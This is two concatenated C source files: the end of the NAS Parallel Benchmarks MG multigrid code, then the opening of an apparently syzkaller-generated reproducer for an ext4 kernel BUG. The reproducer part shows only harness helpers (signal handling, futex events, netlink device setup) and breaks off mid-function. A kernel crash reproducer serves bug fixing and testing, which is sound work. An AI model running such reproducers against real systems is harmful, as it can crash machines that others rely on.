kk, title, rnm2, rnmu);
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/* Exchange boundary information */
static void comm3(double ***u, int n1, int n2, int n3, int kk) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c comm3 organizes the communication on all borders
c-------------------------------------------------------------------*/
int i1, i2, i3;
/* axis = 1 */
#pragma omp for
for ( i3 = 1; i3 < n3-1; i3++) {
for ( i2 = 1; i2 < n2-1; i2++) {
u[i3][i2][n1-1] = u[i3][i2][1];
u[i3][i2][0] = u[i3][i2][n1-2];
}
}
/* axis = 2 */
#pragma omp for
for ( i3 = 1; i3 < n3-1; i3++) {
for ( i1 = 0; i1 < n1; i1++) {
u[i3][n2-1][i1] = u[i3][1][i1];
u[i3][0][i1] = u[i3][n2-2][i1];
}
}
/* axis = 3 */
#pragma omp for
for ( i2 = 0; i2 < n2; i2++) {
for ( i1 = 0; i1 < n1; i1++) {
u[n3-1][i2][i1] = u[1][i2][i1];
u[0][i2][i1] = u[n3-2][i2][i1];
}
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void zran3(double ***z, int n1, int n2, int n3, int nx, int ny, int k) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c zran3 loads +1 at ten randomly chosen points,
c loads -1 at a different ten random points,
c and zero elsewhere.
c-------------------------------------------------------------------*/
#define MM 10
#define A pow(5.0,13)
#define X 314159265.e0
int i0, m0, m1;
int i1, i2, i3, d1, e1, e2, e3;
double xx, x0, x1, a1, a2, ai;
double ten[MM][2], best;
int i, j1[MM][2], j2[MM][2], j3[MM][2];
int jg[4][MM][2];
double rdummy;
a1 = power( A, nx );
a2 = power( A, nx*ny );
#pragma omp parallel
{
zero3(z,n1,n2,n3);
}
i = is1-1+nx*(is2-1+ny*(is3-1));
ai = power( A, i );
d1 = ie1 - is1 + 1;
e1 = ie1 - is1 + 2;
e2 = ie2 - is2 + 2;
e3 = ie3 - is3 + 2;
x0 = X;
rdummy = randlc( &x0, ai );
for (i3 = 1; i3 < e3; i3++) {
x1 = x0;
for (i2 = 1; i2 < e2; i2++) {
xx = x1;
vranlc( d1, &xx, A, &(z[i3][i2][0]));
rdummy = randlc( &x1, a1 );
}
rdummy = randlc( &x0, a2 );
}
/*--------------------------------------------------------------------
c call comm3(z,n1,n2,n3)
c call showall(z,n1,n2,n3)
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c each processor looks for twenty candidates
c-------------------------------------------------------------------*/
for (i = 0; i < MM; i++) {
ten[i][1] = 0.0;
j1[i][1] = 0;
j2[i][1] = 0;
j3[i][1] = 0;
ten[i][0] = 1.0;
j1[i][0] = 0;
j2[i][0] = 0;
j3[i][0] = 0;
}
for (i3 = 1; i3 < n3-1; i3++) {
for (i2 = 1; i2 < n2-1; i2++) {
for (i1 = 1; i1 < n1-1; i1++) {
if ( z[i3][i2][i1] > ten[0][1] ) {
ten[0][1] = z[i3][i2][i1];
j1[0][1] = i1;
j2[0][1] = i2;
j3[0][1] = i3;
bubble( ten, j1, j2, j3, MM, 1 );
}
if ( z[i3][i2][i1] < ten[0][0] ) {
ten[0][0] = z[i3][i2][i1];
j1[0][0] = i1;
j2[0][0] = i2;
j3[0][0] = i3;
bubble( ten, j1, j2, j3, MM, 0 );
}
}
}
}
/*--------------------------------------------------------------------
c Now which of these are globally best?
c-------------------------------------------------------------------*/
i1 = MM - 1;
i0 = MM - 1;
for (i = MM - 1 ; i >= 0; i--) {
best = z[j3[i1][1]][j2[i1][1]][j1[i1][1]];
if (best == z[j3[i1][1]][j2[i1][1]][j1[i1][1]]) {
jg[0][i][1] = 0;
jg[1][i][1] = is1 - 1 + j1[i1][1];
jg[2][i][1] = is2 - 1 + j2[i1][1];
jg[3][i][1] = is3 - 1 + j3[i1][1];
i1 = i1-1;
} else {
jg[0][i][1] = 0;
jg[1][i][1] = 0;
jg[2][i][1] = 0;
jg[3][i][1] = 0;
}
ten[i][1] = best;
best = z[j3[i0][0]][j2[i0][0]][j1[i0][0]];
if (best == z[j3[i0][0]][j2[i0][0]][j1[i0][0]]) {
jg[0][i][0] = 0;
jg[1][i][0] = is1 - 1 + j1[i0][0];
jg[2][i][0] = is2 - 1 + j2[i0][0];
jg[3][i][0] = is3 - 1 + j3[i0][0];
i0 = i0-1;
} else {
jg[0][i][0] = 0;
jg[1][i][0] = 0;
jg[2][i][0] = 0;
jg[3][i][0] = 0;
}
ten[i][0] = best;
}
m1 = i1+1;
m0 = i0+1;
/* printf(" negative charges at");
for (i = 0; i < MM; i++) {
if (i%5 == 0) printf("\n");
printf(" (%3d,%3d,%3d)", jg[1][i][0], jg[2][i][0], jg[3][i][0]);
}
printf("\n positive charges at");
for (i = 0; i < MM; i++) {
if (i%5 == 0) printf("\n");
printf(" (%3d,%3d,%3d)", jg[1][i][1], jg[2][i][1], jg[3][i][1]);
}
printf("\n small random numbers were\n");
for (i = MM-1; i >= 0; i--) {
printf(" %15.8e", ten[i][0]);
}
printf("\n and they were found on processor number\n");
for (i = MM-1; i >= 0; i--) {
printf(" %4d", jg[0][i][0]);
}
printf("\n large random numbers were\n");
for (i = MM-1; i >= 0; i--) {
printf(" %15.8e", ten[i][1]);
}
printf("\n and they were found on processor number\n");
for (i = MM-1; i >= 0; i--) {
printf(" %4d", jg[0][i][1]);
}
printf("\n");*/
#pragma omp parallel for private(i2, i1)
for (i3 = 0; i3 < n3; i3++) {
for (i2 = 0; i2 < n2; i2++) {
for (i1 = 0; i1 < n1; i1++) {
z[i3][i2][i1] = 0.0;
}
}
}
for (i = MM-1; i >= m0; i--) {
z[j3[i][0]][j2[i][0]][j1[i][0]] = -1.0;
}
for (i = MM-1; i >= m1; i--) {
z[j3[i][1]][j2[i][1]][j1[i][1]] = 1.0;
}
#pragma omp parallel
comm3(z,n1,n2,n3,k);
/*--------------------------------------------------------------------
c call showall(z,n1,n2,n3)
c-------------------------------------------------------------------*/
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void showall(double ***z, int n1, int n2, int n3) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
int i1,i2,i3;
int m1, m2, m3;
m1 = min(n1,18);
m2 = min(n2,14);
m3 = min(n3,18);
printf("\n");
for (i3 = 0; i3 < m3; i3++) {
for (i1 = 0; i1 < m1; i1++) {
for (i2 = 0; i2 < m2; i2++) {
printf("%6.3f", z[i3][i2][i1]);
}
printf("\n");
}
printf(" - - - - - - - \n");
}
printf("\n");
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static double power( double a, int n ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c power raises an integer, disguised as a double
c precision real, to an integer power
c-------------------------------------------------------------------*/
double aj;
int nj;
double rdummy;
double power;
power = 1.0;
nj = n;
aj = a;
while (nj != 0) {
if( (nj%2) == 1 ) rdummy = randlc( &power, aj );
rdummy = randlc( &aj, aj );
nj = nj/2;
}
return (power);
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void bubble( double ten[M][2], int j1[M][2], int j2[M][2],
int j3[M][2], int m, int ind ) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
/*--------------------------------------------------------------------
c bubble does a bubble sort in direction dir
c-------------------------------------------------------------------*/
double temp;
int i, j_temp;
if ( ind == 1 ) {
for (i = 0; i < m-1; i++) {
if ( ten[i][ind] > ten[i+1][ind] ) {
temp = ten[i+1][ind];
ten[i+1][ind] = ten[i][ind];
ten[i][ind] = temp;
j_temp = j1[i+1][ind];
j1[i+1][ind] = j1[i][ind];
j1[i][ind] = j_temp;
j_temp = j2[i+1][ind];
j2[i+1][ind] = j2[i][ind];
j2[i][ind] = j_temp;
j_temp = j3[i+1][ind];
j3[i+1][ind] = j3[i][ind];
j3[i][ind] = j_temp;
} else {
return;
}
}
} else {
for (i = 0; i < m-1; i++) {
if ( ten[i][ind] < ten[i+1][ind] ) {
temp = ten[i+1][ind];
ten[i+1][ind] = ten[i][ind];
ten[i][ind] = temp;
j_temp = j1[i+1][ind];
j1[i+1][ind] = j1[i][ind];
j1[i][ind] = j_temp;
j_temp = j2[i+1][ind];
j2[i+1][ind] = j2[i][ind];
j2[i][ind] = j_temp;
j_temp = j3[i+1][ind];
j3[i+1][ind] = j3[i][ind];
j3[i][ind] = j_temp;
} else {
return;
}
}
}
}
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
static void zero3_adapt(double ***z, int n1, int n2, int n3) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
#pragma omp parallel
{
int i1, i2, i3;
#pragma omp for
for (i3 = 0;i3 < n3; i3++) {
for (i2 = 0; i2 < n2; i2++) {
for (i1 = 0; i1 < n1; i1++) {
z[i3][i2][i1] = 0.0;
}
}
}
}
}
static void zero3(double ***z, int n1, int n2, int n3) {
/*--------------------------------------------------------------------
c-------------------------------------------------------------------*/
int i1, i2, i3;
#pragma omp for
for (i3 = 0;i3 < n3; i3++) {
for (i2 = 0; i2 < n2; i2++) {
for (i1 = 0; i1 < n1; i1++) {
z[i3][i2][i1] = 0.0;
}
}
}
}
/*---- end of program ------------------------------------------------*/
/* cat ./common/c_print_results.c */
/*****************************************************************/
/****** C _ P R I N T _ R E S U L T S ******/
/*****************************************************************/
void c_print_results( char *name,
char cclass,
int n1,
int n2,
int n3,
int niter,
int nthreads,
double t,
double mops,
char *optype,
int passed_verification,
char *npbversion,
char *compiletime,
char *cc,
char *clink,
char *c_lib,
char *c_inc,
char *cflags,
char *clinkflags,
char *rand)
{
char *evalue="1000";
printf( "\n\n %s Benchmark Completed\n", name );
printf( " Class = %c\n", cclass );
if( n2 == 0 && n3 == 0 )
printf( " Size = %12d\n", n1 ); /* as in IS */
else
printf( " Size = %3dx%3dx%3d\n", n1,n2,n3 );
printf( " Iterations = %12d\n", niter );
printf( " Threads = %12d\n", nthreads );
printf( " Time in seconds = %12.2f\n", t );
printf( " Mop/s total = %12.2f\n", mops );
printf( " Operation type = %24s\n", optype);
if( passed_verification )
printf( " Verification = SUCCESSFUL\n" );
else
printf( " Verification = UNSUCCESSFUL\n" );
printf( " Version = %12s\n", npbversion );
printf( " Compile date = %12s\n", compiletime );
printf( "\n Compile options:\n" );
printf( " CC = %s\n", cc );
printf( " CLINK = %s\n", clink );
printf( " C_LIB = %s\n", c_lib );
printf( " C_INC = %s\n", c_inc );
printf( " CFLAGS = %s\n", cflags );
printf( " CLINKFLAGS = %s\n", clinkflags );
printf( " RAND = %s\n", rand );
#ifdef SMP
evalue = getenv("MP_SET_NUMTHREADS");
printf( " MULTICPUS = %s\n", evalue );
#endif
/* printf( "\n\n" );
printf( " Please send the results of this run to:\n\n" );
printf( " NPB Development Team\n" );
printf( " Internet: [email protected]\n \n" );
printf( " If email is not available, send this to:\n\n" );
printf( " MS T27A-1\n" );
printf( " NASA Ames Research Center\n" );
printf( " Moffett Field, CA 94035-1000\n\n" );
printf( " Fax: 415-604-3957\n\n" );*/
}
/*
cat ./common/c_randdp.c
*/
#if defined(USE_POW)
#define r23 pow(0.5, 23.0)
#define r46 (r23*r23)
#define t23 pow(2.0, 23.0)
#define t46 (t23*t23)
#else
#define r23 (0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5*0.5)
#define r46 (r23*r23)
#define t23 (2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0)
#define t46 (t23*t23)
#endif
/*c---------------------------------------------------------------------
c---------------------------------------------------------------------*/
double randlc (double *x, double a) {
/*c---------------------------------------------------------------------
c---------------------------------------------------------------------*/
/*c---------------------------------------------------------------------
c
c This routine returns a uniform pseudorandom double precision number in the
c range (0, 1) by using the linear congruential generator
c
c x_{k+1} = a x_k (mod 2^46)
c
c where 0 < x_k < 2^46 and 0 < a < 2^46. This scheme generates 2^44 numbers
c before repeating. The argument A is the same as 'a' in the above formula,
c and X is the same as x_0. A and X must be odd double precision integers
c in the range (1, 2^46). The returned value RANDLC is normalized to be
c between 0 and 1, i.e. RANDLC = 2^(-46) * x_1. X is updated to contain
c the new seed x_1, so that subsequent calls to RANDLC using the same
c arguments will generate a continuous sequence.
c
c This routine should produce the same results on any computer with at least
c 48 mantissa bits in double precision floating point data. On 64 bit
c systems, double precision should be disabled.
c
c David H. Bailey October 26, 1990
c
c---------------------------------------------------------------------*/
double t1,t2,t3,t4,a1,a2,x1,x2,z;
/*c---------------------------------------------------------------------
c Break A into two parts such that A = 2^23 * A1 + A2.
c---------------------------------------------------------------------*/
t1 = r23 * a;
a1 = (int)t1;
a2 = a - t23 * a1;
/*c---------------------------------------------------------------------
c Break X into two parts such that X = 2^23 * X1 + X2, compute
c Z = A1 * X2 + A2 * X1 (mod 2^23), and then
c X = 2^23 * Z + A2 * X2 (mod 2^46).
c---------------------------------------------------------------------*/
t1 = r23 * (*x);
x1 = (int)t1;
x2 = (*x) - t23 * x1;
t1 = a1 * x2 + a2 * x1;
t2 = (int)(r23 * t1);
z = t1 - t23 * t2;
t3 = t23 * z + a2 * x2;
t4 = (int)(r46 * t3);
(*x) = t3 - t46 * t4;
return (r46 * (*x));
}
/*c---------------------------------------------------------------------
c---------------------------------------------------------------------*/
void vranlc (int n, double *x_seed, double a, double* y) {
/* void vranlc (int n, double *x_seed, double a, double y[]) { */
/*c---------------------------------------------------------------------
c---------------------------------------------------------------------*/
/*c---------------------------------------------------------------------
c
c This routine generates N uniform pseudorandom double precision numbers in
c the range (0, 1) by using the linear congruential generator
c
c x_{k+1} = a x_k (mod 2^46)
c
c where 0 < x_k < 2^46 and 0 < a < 2^46. This scheme generates 2^44 numbers
c before repeating. The argument A is the same as 'a' in the above formula,
c and X is the same as x_0. A and X must be odd double precision integers
c in the range (1, 2^46). The N results are placed in Y and are normalized
c to be between 0 and 1. X is updated to contain the new seed, so that
c subsequent calls to VRANLC using the same arguments will generate a
c continuous sequence. If N is zero, only initialization is performed, and
c the variables X, A and Y are ignored.
c
c This routine is the standard version designed for scalar or RISC systems.
c However, it should produce the same results on any single processor
c computer with at least 48 mantissa bits in double precision floating point
c data. On 64 bit systems, double precision should be disabled.
c
c---------------------------------------------------------------------*/
int i;
double x,t1,t2,t3,t4,a1,a2,x1,x2,z;
/*c---------------------------------------------------------------------
c Break A into two parts such that A = 2^23 * A1 + A2.
c---------------------------------------------------------------------*/
t1 = r23 * a;
a1 = (int)t1;
a2 = a - t23 * a1;
x = *x_seed;
/*c---------------------------------------------------------------------
c Generate N results. This loop is not vectorizable.
c---------------------------------------------------------------------*/
for (i = 1; i <= n; i++) {
/*c---------------------------------------------------------------------
c Break X into two parts such that X = 2^23 * X1 + X2, compute
c Z = A1 * X2 + A2 * X1 (mod 2^23), and then
c X = 2^23 * Z + A2 * X2 (mod 2^46).
c---------------------------------------------------------------------*/
t1 = r23 * x;
x1 = (int)t1;
x2 = x - t23 * x1;
t1 = a1 * x2 + a2 * x1;
t2 = (int)(r23 * t1);
z = t1 - t23 * t2;
t3 = t23 * z + a2 * x2;
t4 = (int)(r46 * t3);
x = t3 - t46 * t4;
y[i] = r46 * x;
}
*x_seed = x;
}
/*
cat ./common/c_timers.c
*/
/*
#include "wtime.h"
#if defined(IBM)
#define wtime wtime
#elif defined(CRAY)
#define wtime WTIME
#else
#define wtime wtime_
#endif
*/
/* Prototype */
void wtime( double * );
/*****************************************************************/
/****** E L A P S E D _ T I M E ******/
/*****************************************************************/
double elapsed_time( void )
{
double t;
wtime( &t );
return( t );
}
double start[64], elapsed[64];
/*****************************************************************/
/****** T I M E R _ C L E A R ******/
/*****************************************************************/
void timer_clear( int n )
{
elapsed[n] = 0.0;
}
/*****************************************************************/
/****** T I M E R _ S T A R T ******/
/*****************************************************************/
void timer_start( int n )
{
start[n] = elapsed_time();
}
/*****************************************************************/
/****** T I M E R _ S T O P ******/
/*****************************************************************/
void timer_stop( int n )
{
double t, now;
now = elapsed_time();
t = now - start[n];
elapsed[n] += t;
}
/*****************************************************************/
/****** T I M E R _ R E A D ******/
/*****************************************************************/
double timer_read( int n )
{
return( elapsed[n] );
}
void wtime(double *t)
{
static int sec = -1;
struct timeval tv;
// gettimeofday(&tv, (void *)0);
gettimeofday(&tv, (struct timezone *)0);
if (sec < 0) sec = tv.tv_sec;
*t = (tv.tv_sec - sec) + 1.0e-6*tv.tv_usec;
}
|
the_stack_data/1030134.c | // kernel BUG at fs/ext4/inline.c:LINE!
// https://syzkaller.appspot.com/bug?id=4faa160fa96bfba639f8
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/loop.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <linux/rfkill.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return ((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock,
const char* family_name)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name,
strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
